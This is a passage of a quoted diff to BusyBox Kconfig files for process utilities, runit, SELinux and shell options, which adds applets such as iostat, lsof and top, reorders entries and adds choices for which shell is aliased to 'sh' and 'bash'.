> -	default BUSYBOX_DEFAULT_UPTIME
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX #sysinfo()
> -	help
> -	  uptime gives a one line display of the current time, how long
> -	  the system has been running, how many users are currently logged
> -	  on, and the system load averages for the past 1, 5, and 15 minutes.
> -
> -config BUSYBOX_CONFIG_FEATURE_UPTIME_UTMP_SUPPORT
> -	bool "Support for showing the number of users"
> -	default BUSYBOX_DEFAULT_FEATURE_UPTIME_UTMP_SUPPORT
> -	depends on BUSYBOX_CONFIG_UPTIME && BUSYBOX_CONFIG_FEATURE_UTMP
> -	help
> -	  Makes uptime display the number of users currently logged on.
> -
>   config BUSYBOX_CONFIG_FREE
>   	bool "free"
>   	default BUSYBOX_DEFAULT_FREE
> @@ -130,7 +14,6 @@ config BUSYBOX_CONFIG_FREE
>   	  free displays the total amount of free and used physical and swap
>   	  memory in the system, as well as the buffers used by the kernel.
>   	  The shared memory column should be ignored; it is obsolete.
> -
>   config BUSYBOX_CONFIG_FUSER
>   	bool "fuser"
>   	default BUSYBOX_DEFAULT_FUSER
> @@ -138,7 +21,11 @@ config BUSYBOX_CONFIG_FUSER
>   	  fuser lists all PIDs (Process IDs) that currently have a given
>   	  file open. fuser can also list all PIDs that have a given network
>   	  (TCP or UDP) port open.
> -
> +config BUSYBOX_CONFIG_IOSTAT
> +	bool "iostat"
> +	default BUSYBOX_DEFAULT_IOSTAT
> +	help
> +	  Report CPU and I/O statistics
>   config BUSYBOX_CONFIG_KILL
>   	bool "kill"
>   	default BUSYBOX_DEFAULT_KILL
> @@ -150,7 +37,6 @@ config BUSYBOX_CONFIG_KILL
>   config BUSYBOX_CONFIG_KILLALL
>   	bool "killall"
>   	default BUSYBOX_DEFAULT_KILLALL
> -	depends on BUSYBOX_CONFIG_KILL
>   	help
>   	  killall sends a signal to all processes running any of the
>   	  specified commands. If no signal name is specified, SIGTERM is
> @@ -159,14 +45,38 @@ config BUSYBOX_CONFIG_KILLALL
>   config BUSYBOX_CONFIG_KILLALL5
>   	bool "killall5"
>   	default BUSYBOX_DEFAULT_KILLALL5
> -	depends on BUSYBOX_CONFIG_KILL
> -
> +	help
> +	  The SystemV killall command. killall5 sends a signal
> +	  to all processes except kernel threads and the processes
> +	  in its own session, so it won't kill the shell that is running
> +	  the script it was called from.
> +config BUSYBOX_CONFIG_LSOF
> +	bool "lsof"
> +	default BUSYBOX_DEFAULT_LSOF
> +	help
> +	  Show open files in the format of:
> +	  PID <TAB> /path/to/executable <TAB> /path/to/opened/file
> +config BUSYBOX_CONFIG_MPSTAT
> +	bool "mpstat"
> +	default BUSYBOX_DEFAULT_MPSTAT
> +	help
> +	  Per-processor statistics
> +config BUSYBOX_CONFIG_NMETER
> +	bool "nmeter"
> +	default BUSYBOX_DEFAULT_NMETER
> +	help
> +	  Prints selected system stats continuously, one line per update.
>   config BUSYBOX_CONFIG_PGREP
>   	bool "pgrep"
>   	default BUSYBOX_DEFAULT_PGREP
>   	help
>   	  Look for processes by name.
>   
> +config BUSYBOX_CONFIG_PKILL
> +	bool "pkill"
> +	default BUSYBOX_DEFAULT_PKILL
> +	help
> +	  Send signals to processes by name.
>   config BUSYBOX_CONFIG_PIDOF
>   	bool "pidof"
>   	default BUSYBOX_DEFAULT_PIDOF
> @@ -189,13 +99,16 @@ config BUSYBOX_CONFIG_FEATURE_PIDOF_OMIT
>   	  Support argument '-o' for omitting the given pids in output.
>   	  The special pid %PPID can be used to name the parent process
>   	  of the pidof, in other words the calling shell or shell script.
> -
> -config BUSYBOX_CONFIG_PKILL
> -	bool "pkill"
> -	default BUSYBOX_DEFAULT_PKILL
> +config BUSYBOX_CONFIG_PMAP
> +       bool "pmap"
> +       default BUSYBOX_DEFAULT_PMAP
> +       help
> +         Display processes' memory mappings.
> +config BUSYBOX_CONFIG_POWERTOP
> +	bool "powertop"
> +	default BUSYBOX_DEFAULT_POWERTOP
>   	help
> -	  Send signals to processes by name.
> -
> +	  Analyze power consumption on Intel-based laptops
>   config BUSYBOX_CONFIG_PS
>   	bool "ps"
>   	default BUSYBOX_DEFAULT_PS
> @@ -241,28 +154,101 @@ config BUSYBOX_CONFIG_FEATURE_PS_UNUSUAL_SYSTEMS
>   	help
>   	  Include support for measuring HZ on old kernels and non-ELF systems
>   	  (if you are on Linux 2.4.0+ and use ELF, you don't need this)
> -
> +config BUSYBOX_CONFIG_PSTREE
> +	bool "pstree"
> +	default BUSYBOX_DEFAULT_PSTREE
> +	help
> +	  Display a tree of processes.
> +config BUSYBOX_CONFIG_PWDX
> +	bool "pwdx"
> +	default BUSYBOX_DEFAULT_PWDX
> +	help
> +	  Report current working directory of a process
>   config BUSYBOX_CONFIG_RENICE
>   	bool "renice"
>   	default BUSYBOX_DEFAULT_RENICE
>   	help
>   	  Renice alters the scheduling priority of one or more running
>   	  processes.
> -
> +config BUSYBOX_CONFIG_SMEMCAP
> +	bool "smemcap"
> +	default BUSYBOX_DEFAULT_SMEMCAP
> +	help
> +	  smemcap is a tool for capturing process data for smem,
> +	  a memory usage statistic tool.
>   config BUSYBOX_CONFIG_BB_SYSCTL
>   	bool "sysctl"
>   	default BUSYBOX_DEFAULT_BB_SYSCTL
>   	help
>   	  Configure kernel parameters at runtime.
> +config BUSYBOX_CONFIG_TOP
> +	bool "top"
> +	default BUSYBOX_DEFAULT_TOP
> +	help
> +	  The top program provides a dynamic real-time view of a running
> +	  system.
>   
> -config BUSYBOX_CONFIG_FEATURE_SHOW_THREADS
> -	bool "Support for showing threads in ps/pstree/top"
> -	default BUSYBOX_DEFAULT_FEATURE_SHOW_THREADS
> -	depends on BUSYBOX_CONFIG_PS || BUSYBOX_CONFIG_TOP || BUSYBOX_CONFIG_PSTREE
> +config BUSYBOX_CONFIG_FEATURE_TOP_CPU_USAGE_PERCENTAGE
> +	bool "Show CPU per-process usage percentage"
> +	default BUSYBOX_DEFAULT_FEATURE_TOP_CPU_USAGE_PERCENTAGE
> +	depends on BUSYBOX_CONFIG_TOP
>   	help
> -	  Enables the ps -T option, showing of threads in pstree,
> -	  and 'h' command in top.
> +	  Make top display CPU usage for each process.
> +	  This adds about 2k.
> +
> +config BUSYBOX_CONFIG_FEATURE_TOP_CPU_GLOBAL_PERCENTS
> +	bool "Show CPU global usage percentage"
> +	default BUSYBOX_DEFAULT_FEATURE_TOP_CPU_GLOBAL_PERCENTS
> +	depends on BUSYBOX_CONFIG_FEATURE_TOP_CPU_USAGE_PERCENTAGE
> +	help
> +	  Makes top display "CPU: NN% usr NN% sys..." line.
> +	  This adds about 0.5k.
> +
> +config BUSYBOX_CONFIG_FEATURE_TOP_SMP_CPU
> +	bool "SMP CPU usage display ('c' key)"
> +	default BUSYBOX_DEFAULT_FEATURE_TOP_SMP_CPU
> +	depends on BUSYBOX_CONFIG_FEATURE_TOP_CPU_GLOBAL_PERCENTS
> +	help
> +	  Allow 'c' key to switch between individual/cumulative CPU stats
> +	  This adds about 0.5k.
> +
> +config BUSYBOX_CONFIG_FEATURE_TOP_DECIMALS
> +	bool "Show 1/10th of a percent in CPU/mem statistics"
> +	default BUSYBOX_DEFAULT_FEATURE_TOP_DECIMALS
> +	depends on BUSYBOX_CONFIG_FEATURE_TOP_CPU_USAGE_PERCENTAGE
> +	help
> +	  Show 1/10th of a percent in CPU/mem statistics.
> +	  This adds about 0.3k.
> +
> +config BUSYBOX_CONFIG_FEATURE_TOP_SMP_PROCESS
> +	bool "Show CPU process runs on ('j' field)"
> +	default BUSYBOX_DEFAULT_FEATURE_TOP_SMP_PROCESS
> +	depends on BUSYBOX_CONFIG_TOP
> +	help
> +	  Show CPU where process was last found running on.
> +	  This is the 'j' field.
> +
> +config BUSYBOX_CONFIG_FEATURE_TOPMEM
> +	bool "Topmem command ('s' key)"
> +	default BUSYBOX_DEFAULT_FEATURE_TOPMEM
> +	depends on BUSYBOX_CONFIG_TOP
> +	help
> +	  Enable 's' in top (gives lots of memory info).
> +config BUSYBOX_CONFIG_UPTIME
> +	bool "uptime"
> +	default BUSYBOX_DEFAULT_UPTIME
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX #sysinfo()
> +	help
> +	  uptime gives a one line display of the current time, how long
> +	  the system has been running, how many users are currently logged
> +	  on, and the system load averages for the past 1, 5, and 15 minutes.
>   
> +config BUSYBOX_CONFIG_FEATURE_UPTIME_UTMP_SUPPORT
> +	bool "Support for showing the number of users"
> +	default BUSYBOX_DEFAULT_FEATURE_UPTIME_UTMP_SUPPORT
> +	depends on BUSYBOX_CONFIG_UPTIME && BUSYBOX_CONFIG_FEATURE_UTMP
> +	help
> +	  Makes uptime display the number of users currently logged on.
>   config BUSYBOX_CONFIG_WATCH
>   	bool "watch"
>   	default BUSYBOX_DEFAULT_WATCH
> @@ -270,4 +256,12 @@ config BUSYBOX_CONFIG_WATCH
>   	  watch is used to execute a program periodically, showing
>   	  output to the screen.
>   
> +config BUSYBOX_CONFIG_FEATURE_SHOW_THREADS
> +	bool "Support for showing threads in ps/pstree/top"
> +	default BUSYBOX_DEFAULT_FEATURE_SHOW_THREADS
> +	depends on BUSYBOX_CONFIG_PS || BUSYBOX_CONFIG_TOP || BUSYBOX_CONFIG_PSTREE
> +	help
> +	  Enables the ps -T option, showing of threads in pstree,
> +	  and 'h' command in top.
> +
>   endmenu
> diff --git a/package/utils/busybox/config/runit/Config.in b/package/utils/busybox/config/runit/Config.in
> index a322a2c..8750b59 100644
> --- a/package/utils/busybox/config/runit/Config.in
> +++ b/package/utils/busybox/config/runit/Config.in
> @@ -73,6 +73,13 @@ config BUSYBOX_CONFIG_SV_DEFAULT_SERVICE_DIR
>   	help
>   	  Default directory for services.
>   	  Defaults to "/var/service"
> +
> +config BUSYBOX_CONFIG_SVC
> +	bool "svc"
> +	default BUSYBOX_DEFAULT_SVC
> +	help
> +	  svc controls the state of services monitored by the runsv supervisor.
> +	  It is comaptible with daemontools command with the same name.
>   config BUSYBOX_CONFIG_SVLOGD
>   	bool "svlogd"
>   	default BUSYBOX_DEFAULT_SVLOGD
> diff --git a/package/utils/busybox/config/selinux/Config.in b/package/utils/busybox/config/selinux/Config.in
> index 1d23f7d..1aac9f4 100644
> --- a/package/utils/busybox/config/selinux/Config.in
> +++ b/package/utils/busybox/config/selinux/Config.in
> @@ -7,7 +7,6 @@
>   menu "SELinux Utilities"
>   	depends on BUSYBOX_CONFIG_SELINUX
>   
> -
>   config BUSYBOX_CONFIG_CHCON
>   	bool "chcon"
>   	default BUSYBOX_DEFAULT_CHCON
> @@ -21,28 +20,24 @@ config BUSYBOX_CONFIG_FEATURE_CHCON_LONG_OPTIONS
>   	depends on BUSYBOX_CONFIG_CHCON && BUSYBOX_CONFIG_LONG_OPTS
>   	help
>   	  Support long options for the chcon applet.
> -
>   config BUSYBOX_CONFIG_GETENFORCE
>   	bool "getenforce"
>   	default BUSYBOX_DEFAULT_GETENFORCE
>   	depends on BUSYBOX_CONFIG_SELINUX
>   	help
>   	  Enable support to get the current mode of SELinux.
> -
>   config BUSYBOX_CONFIG_GETSEBOOL
>   	bool "getsebool"
>   	default BUSYBOX_DEFAULT_GETSEBOOL
>   	depends on BUSYBOX_CONFIG_SELINUX
>   	help
>   	  Enable support to get SELinux boolean values.
> -
>   config BUSYBOX_CONFIG_LOAD_POLICY
>   	bool "load_policy"
>   	default BUSYBOX_DEFAULT_LOAD_POLICY
>   	depends on BUSYBOX_CONFIG_SELINUX
>   	help
>   	  Enable support to load SELinux policy.
> -
>   config BUSYBOX_CONFIG_MATCHPATHCON
>   	bool "matchpathcon"
>   	default BUSYBOX_DEFAULT_MATCHPATHCON
> @@ -50,15 +45,6 @@ config BUSYBOX_CONFIG_MATCHPATHCON
>   	help
>   	  Enable support to get default security context of the
>   	  specified path from the file contexts configuration.
> -
> -config BUSYBOX_CONFIG_RESTORECON
> -	bool "restorecon"
> -	default BUSYBOX_DEFAULT_RESTORECON
> -	depends on BUSYBOX_CONFIG_SELINUX
> -	help
> -	  Enable support to relabel files. The feature is almost
> -	  the same as setfiles, but usage is a little different.
> -
>   config BUSYBOX_CONFIG_RUNCON
>   	bool "runcon"
>   	default BUSYBOX_DEFAULT_RUNCON
> @@ -72,7 +58,6 @@ config BUSYBOX_CONFIG_FEATURE_RUNCON_LONG_OPTIONS
>   	depends on BUSYBOX_CONFIG_RUNCON && BUSYBOX_CONFIG_LONG_OPTS
>   	help
>   	  Support long options for the runcon applet.
> -
>   config BUSYBOX_CONFIG_SELINUXENABLED
>   	bool "selinuxenabled"
>   	default BUSYBOX_DEFAULT_SELINUXENABLED
> @@ -80,14 +65,18 @@ config BUSYBOX_CONFIG_SELINUXENABLED
>   	help
>   	  Enable support for this command to be used within shell scripts
>   	  to determine if selinux is enabled.
> -
> +config BUSYBOX_CONFIG_SESTATUS
> +	bool "sestatus"
> +	default BUSYBOX_DEFAULT_SESTATUS
> +	depends on BUSYBOX_CONFIG_SELINUX
> +	help
> +	  Displays the status of SELinux.
>   config BUSYBOX_CONFIG_SETENFORCE
>   	bool "setenforce"
>   	default BUSYBOX_DEFAULT_SETENFORCE
>   	depends on BUSYBOX_CONFIG_SELINUX
>   	help
>   	  Enable support to modify the mode SELinux is running in.
> -
>   config BUSYBOX_CONFIG_SETFILES
>   	bool "setfiles"
>   	default BUSYBOX_DEFAULT_SETFILES
> @@ -106,6 +95,13 @@ config BUSYBOX_CONFIG_FEATURE_SETFILES_CHECK_OPTION
>   	  Support "-c" option (check the validity of the contexts against
>   	  the specified binary policy) for setfiles. Requires libsepol.
>   
> +config BUSYBOX_CONFIG_RESTORECON
> +	bool "restorecon"
> +	default BUSYBOX_DEFAULT_RESTORECON
> +	depends on BUSYBOX_CONFIG_SELINUX
> +	help
> +	  Enable support to relabel files. The feature is almost
> +	  the same as setfiles, but usage is a little different.
>   config BUSYBOX_CONFIG_SETSEBOOL
>   	bool "setsebool"
>   	default BUSYBOX_DEFAULT_SETSEBOOL
> @@ -114,11 +110,4 @@ config BUSYBOX_CONFIG_SETSEBOOL
>   	  Enable support for change boolean.
>   	  semanage and -P option is not supported yet.
>   
> -config BUSYBOX_CONFIG_SESTATUS
> -	bool "sestatus"
> -	default BUSYBOX_DEFAULT_SESTATUS
> -	depends on BUSYBOX_CONFIG_SELINUX
> -	help
> -	  Displays the status of SELinux.
> -
>   endmenu
> diff --git a/package/utils/busybox/config/shell/Config.in b/package/utils/busybox/config/shell/Config.in
> index 69ecf14..4193c18 100644
> --- a/package/utils/busybox/config/shell/Config.in
> +++ b/package/utils/busybox/config/shell/Config.in
> @@ -6,6 +6,57 @@
>   
>   menu "Shells"
>   
> +
> +choice
> +	prompt "Choose which shell is aliased to 'sh' name"
> +	default BUSYBOX_CONFIG_SH_IS_ASH
> +	help
> +	  Choose which shell you want to be executed by 'sh' alias.
> +	  The ash shell is the most bash compatible and full featured one.
> +
> +# note: cannot use "select ASH" here, it breaks "make allnoconfig"
> +config BUSYBOX_CONFIG_SH_IS_ASH
> +	depends on !BUSYBOX_CONFIG_NOMMU
> +	bool "ash"
> +
> +config BUSYBOX_CONFIG_SH_IS_HUSH
> +	bool "hush"
> +
> +config BUSYBOX_CONFIG_SH_IS_NONE
> +	bool "none"
> +
> +endchoice
> +
> +choice
> +	prompt "Choose which shell is aliased to 'bash' name"
> +	default BUSYBOX_CONFIG_BASH_IS_NONE
> +	help
> +	  Choose which shell you want to be executed by 'bash' alias.
> +	  The ash shell is the most bash compatible and full featured one.
> +
> +	  Note that selecting this option does not switch on any bash
> +	  compatibility code. It merely makes it possible to install
> +	  /bin/bash (sym)link and run scripts which start with
> +	  #!/bin/bash line.
> +
> +	  Many systems use it in scripts which use bash-specific features,
> +	  even simple ones like $RANDOM. Without this option, busybox
> +	  can't be used for running them because it won't recongnize
> +	  "bash" as a supported applet name.
> +
> +config BUSYBOX_CONFIG_BASH_IS_ASH
> +	depends on !BUSYBOX_CONFIG_NOMMU
> +	bool "ash"
> +
> +config BUSYBOX_CONFIG_BASH_IS_HUSH
> +	bool "hush"
> +
> +config BUSYBOX_CONFIG_BASH_IS_NONE
> +	bool "none"
> +
> +endchoice
> +
> +
>   config BUSYBOX_CONFIG_ASH
>   	bool "ash"
>   	default BUSYBOX_DEFAULT_ASH
> @@ -17,73 +68,109 @@ config BUSYBOX_CONFIG_ASH
>   	  shell (by Herbert Xu), which was created by porting the 'ash' shell
>   	  (written by Kenneth Almquist) from NetBSD.
>   
> +config BUSYBOX_CONFIG_ASH_OPTIMIZE_FOR_SIZE
> +	bool "Optimize for size instead of speed"
> +	default BUSYBOX_DEFAULT_ASH_OPTIMIZE_FOR_SIZE
> +	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
> +	help
> +	  Compile ash for reduced size at the price of speed.
> +
> +config BUSYBOX_CONFIG_ASH_INTERNAL_GLOB
> +	bool "Use internal glob() implementation"
> +	default BUSYBOX_DEFAULT_ASH_INTERNAL_GLOB	# Y is bigger, but because of uclibc glob() bug, let Y be default for now
> +	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
> +	help
> +	  Do not use glob() function from libc, use internal implementation.
> +	  Use this if you are getting "glob.h: No such file or directory"
> +	  or similar build errors.
> +
> +config BUSYBOX_CONFIG_ASH_RANDOM_SUPPORT
> +	bool "Pseudorandom generator and $RANDOM variable"
> +	default BUSYBOX_DEFAULT_ASH_RANDOM_SUPPORT
> +	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
> +	help
> +	  Enable pseudorandom generator and dynamic variable "$RANDOM".
> +	  Each read of "$RANDOM" will generate a new pseudorandom value.
> +	  You can reset the generator by using a specified start value.
> +	  After "unset RANDOM" the generator will switch off and this
> +	  variable will no longer have special treatment.
> +
> +config BUSYBOX_CONFIG_ASH_EXPAND_PRMT
> +	bool "Expand prompt string"
> +	default BUSYBOX_DEFAULT_ASH_EXPAND_PRMT
> +	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
> +	help
> +	  "PS#" may contain volatile content, such as backquote commands.
> +	  This option recreates the prompt string from the environment
> +	  variable each time it is displayed.
> +
>   config BUSYBOX_CONFIG_ASH_BASH_COMPAT
>   	bool "bash-compatible extensions"
>   	default BUSYBOX_DEFAULT_ASH_BASH_COMPAT
> -	depends on BUSYBOX_CONFIG_ASH
> +	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
>   	help
>   	  Enable bash-compatible extensions.
>   
>   config BUSYBOX_CONFIG_ASH_IDLE_TIMEOUT
>   	bool "Idle timeout variable"
>   	default BUSYBOX_DEFAULT_ASH_IDLE_TIMEOUT
> -	depends on BUSYBOX_CONFIG_ASH
> +	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
>   	help
>   	  Enables bash-like auto-logout after $TMOUT seconds of idle time.
>   
>   config BUSYBOX_CONFIG_ASH_JOB_CONTROL
>   	bool "Job control"
>   	default BUSYBOX_DEFAULT_ASH_JOB_CONTROL
> -	depends on BUSYBOX_CONFIG_ASH
> +	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
>   	help
>   	  Enable job control in the ash shell.
>   
>   config BUSYBOX_CONFIG_ASH_ALIAS
>   	bool "Alias support"
>   	default BUSYBOX_DEFAULT_ASH_ALIAS
> -	depends on BUSYBOX_CONFIG_ASH
> +	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
>   	help
>   	  Enable alias support in the ash shell.
>   
>   config BUSYBOX_CONFIG_ASH_GETOPTS
>   	bool "Builtin getopt to parse positional parameters"
>   	default BUSYBOX_DEFAULT_ASH_GETOPTS
> -	depends on BUSYBOX_CONFIG_ASH
> +	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
>   	help
>   	  Enable support for getopts builtin in ash.
>   
>   config BUSYBOX_CONFIG_ASH_BUILTIN_ECHO
>   	bool "Builtin version of 'echo'"
>   	default BUSYBOX_DEFAULT_ASH_BUILTIN_ECHO
> -	depends on BUSYBOX_CONFIG_ASH
> +	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
>   	help
>   	  Enable support for echo builtin in ash.
>   
>   config BUSYBOX_CONFIG_ASH_BUILTIN_PRINTF
>   	bool "Builtin version of 'printf'"
>   	default BUSYBOX_DEFAULT_ASH_BUILTIN_PRINTF
> -	depends on BUSYBOX_CONFIG_ASH
> +	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
>   	help
>   	  Enable support for printf builtin in ash.
>   
>   config BUSYBOX_CONFIG_ASH_BUILTIN_TEST
>   	bool "Builtin version of 'test'"
>   	default BUSYBOX_DEFAULT_ASH_BUILTIN_TEST
> -	depends on BUSYBOX_CONFIG_ASH
> +	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
>   	help
>   	  Enable support for test builtin in ash.
>   
>   config BUSYBOX_CONFIG_ASH_HELP
>   	bool "help builtin"
>   	default BUSYBOX_DEFAULT_ASH_HELP
> -	depends on BUSYBOX_CONFIG_ASH
> +	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
>   	help
>   	  Enable help builtin in ash.
>   
>   config BUSYBOX_CONFIG_ASH_CMDCMD
>   	bool "'command' command to override shell builtins"
>   	default BUSYBOX_DEFAULT_ASH_CMDCMD
> -	depends on BUSYBOX_CONFIG_ASH
> +	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
>   	help
>   	  Enable support for the ash 'command' builtin, which allows
>   	  you to run the specified command with the specified arguments,
> @@ -92,37 +179,9 @@ config BUSYBOX_CONFIG_ASH_CMDCMD
>   config BUSYBOX_CONFIG_ASH_MAIL
>   	bool "Check for new mail on interactive shells"
>   	default BUSYBOX_DEFAULT_ASH_MAIL
> -	depends on BUSYBOX_CONFIG_ASH
> +	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
>   	help
>   	  Enable "check for new mail" function in the ash shell.
> -
> -config BUSYBOX_CONFIG_ASH_OPTIMIZE_FOR_SIZE
> -	bool "Optimize for size instead of speed"
> -	default BUSYBOX_DEFAULT_ASH_OPTIMIZE_FOR_SIZE
> -	depends on BUSYBOX_CONFIG_ASH
> -	help
> -	  Compile ash for reduced size at the price of speed.
> -
> -config BUSYBOX_CONFIG_ASH_RANDOM_SUPPORT
> -	bool "Pseudorandom generator and $RANDOM variable"
> -	default BUSYBOX_DEFAULT_ASH_RANDOM_SUPPORT
> -	depends on BUSYBOX_CONFIG_ASH
> -	help
> -	  Enable pseudorandom generator and dynamic variable "$RANDOM".
> -	  Each read of "$RANDOM" will generate a new pseudorandom value.
> -	  You can reset the generator by using a specified start value.
> -	  After "unset RANDOM" the generator will switch off and this
> -	  variable will no longer have special treatment.
> -
> -config BUSYBOX_CONFIG_ASH_EXPAND_PRMT
> -	bool "Expand prompt string"
> -	default BUSYBOX_DEFAULT_ASH_EXPAND_PRMT
> -	depends on BUSYBOX_CONFIG_ASH
> -	help
> -	  "PS#" may contain volatile content, such as backquote commands.
> -	  This option recreates the prompt string from the environment
> -	  variable each time it is displayed.
> -
>   config BUSYBOX_CONFIG_CTTYHACK
>   	bool "cttyhack"
>   	default BUSYBOX_DEFAULT_CTTYHACK
> @@ -183,7 +242,7 @@ config BUSYBOX_CONFIG_HUSH
>   config BUSYBOX_CONFIG_HUSH_BASH_COMPAT
>   	bool "bash-compatible extensions"
>   	default BUSYBOX_DEFAULT_HUSH_BASH_COMPAT
> -	depends on BUSYBOX_CONFIG_HUSH
> +	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
>   	help
>   	  Enable bash-compatible extensions.
>   
> @@ -197,14 +256,14 @@ config BUSYBOX_CONFIG_HUSH_BRACE_EXPANSION
>   config BUSYBOX_CONFIG_HUSH_HELP
>   	bool "help builtin"
>   	default BUSYBOX_DEFAULT_HUSH_HELP
> -	depends on BUSYBOX_CONFIG_HUSH
> +	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
>   	help
>   	  Enable help builtin in hush. Code size + ~1 kbyte.
>   
>   config BUSYBOX_CONFIG_HUSH_INTERACTIVE
>   	bool "Interactive mode"
>   	default BUSYBOX_DEFAULT_HUSH_INTERACTIVE
> -	depends on BUSYBOX_CONFIG_HUSH
> +	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
>   	help
>   	  Enable interactive mode (prompt and command editing).
>   	  Without this, hush simply reads and executes commands
> @@ -232,35 +291,35 @@ config BUSYBOX_CONFIG_HUSH_JOB
>   config BUSYBOX_CONFIG_HUSH_TICK
>   	bool "Process substitution"
>   	default BUSYBOX_DEFAULT_HUSH_TICK
> -	depends on BUSYBOX_CONFIG_HUSH
> +	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
>   	help
>   	  Enable process substitution `command` and $(command) in hush.
>   
>   config BUSYBOX_CONFIG_HUSH_IF
>   	bool "Support if/then/elif/else/fi"
>   	default BUSYBOX_DEFAULT_HUSH_IF
> -	depends on BUSYBOX_CONFIG_HUSH
> +	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
>   	help
>   	  Enable if/then/elif/else/fi in hush.
>   
>   config BUSYBOX_CONFIG_HUSH_LOOPS
>   	bool "Support for, while and until loops"
>   	default BUSYBOX_DEFAULT_HUSH_LOOPS
> -	depends on BUSYBOX_CONFIG_HUSH
> +	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
>   	help
>   	  Enable for, while and until loops in hush.
>   
>   config BUSYBOX_CONFIG_HUSH_CASE
>   	bool "Support case ... esac statement"
>   	default BUSYBOX_DEFAULT_HUSH_CASE
> -	depends on BUSYBOX_CONFIG_HUSH
> +	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
>   	help
>   	  Enable case ... esac statement in hush. +400 bytes.
>   
>   config BUSYBOX_CONFIG_HUSH_FUNCTIONS
>   	bool "Support funcname() { commands; } syntax"
>   	default BUSYBOX_DEFAULT_HUSH_FUNCTIONS
> -	depends on BUSYBOX_CONFIG_HUSH
> +	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
>   	help
>   	  Enable support for shell functions in hush. +800 bytes.
>   
> @@ -274,7 +333,7 @@ config BUSYBOX_CONFIG_HUSH_LOCAL
>   config BUSYBOX_CONFIG_HUSH_RANDOM_SUPPORT
>   	bool "Pseudorandom generator and $RANDOM variable"
>   	default BUSYBOX_DEFAULT_HUSH_RANDOM_SUPPORT
> -	depends on BUSYBOX_CONFIG_HUSH
> +	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
>   	help
>   	  Enable pseudorandom generator and dynamic variable "$RANDOM".
>   	  Each read of "$RANDOM" will generate a new pseudorandom value.
> @@ -282,14 +341,14 @@ config BUSYBOX_CONFIG_HUSH_RANDOM_SUPPORT
>   config BUSYBOX_CONFIG_HUSH_EXPORT_N
>   	bool "Support 'export -n' option"
>   	default BUSYBOX_DEFAULT_HUSH_EXPORT_N
> -	depends on BUSYBOX_CONFIG_HUSH
> +	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
>   	help
>   	  export -n unexports variables. It is a bash extension.
>   
>   config BUSYBOX_CONFIG_HUSH_MODE_X
>   	bool "Support 'hush -x' option and 'set -x' command"
>   	default BUSYBOX_DEFAULT_HUSH_MODE_X
> -	depends on BUSYBOX_CONFIG_HUSH
> +	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
>   	help
>   	  This instructs hush to print commands before execution.
>   	  Adds ~300 bytes.
> @@ -302,72 +361,17 @@ config BUSYBOX_CONFIG_MSH
>   	  msh is deprecated and will be removed, please migrate to hush.
>   
>   
> -
> -choice
> -	prompt "Choose which shell is aliased to 'sh' name"
> -	default BUSYBOX_CONFIG_FEATURE_SH_IS_ASH
> -	help
> -	  Choose which shell you want to be executed by 'sh' alias.
> -	  The ash shell is the most bash compatible and full featured one.
> -
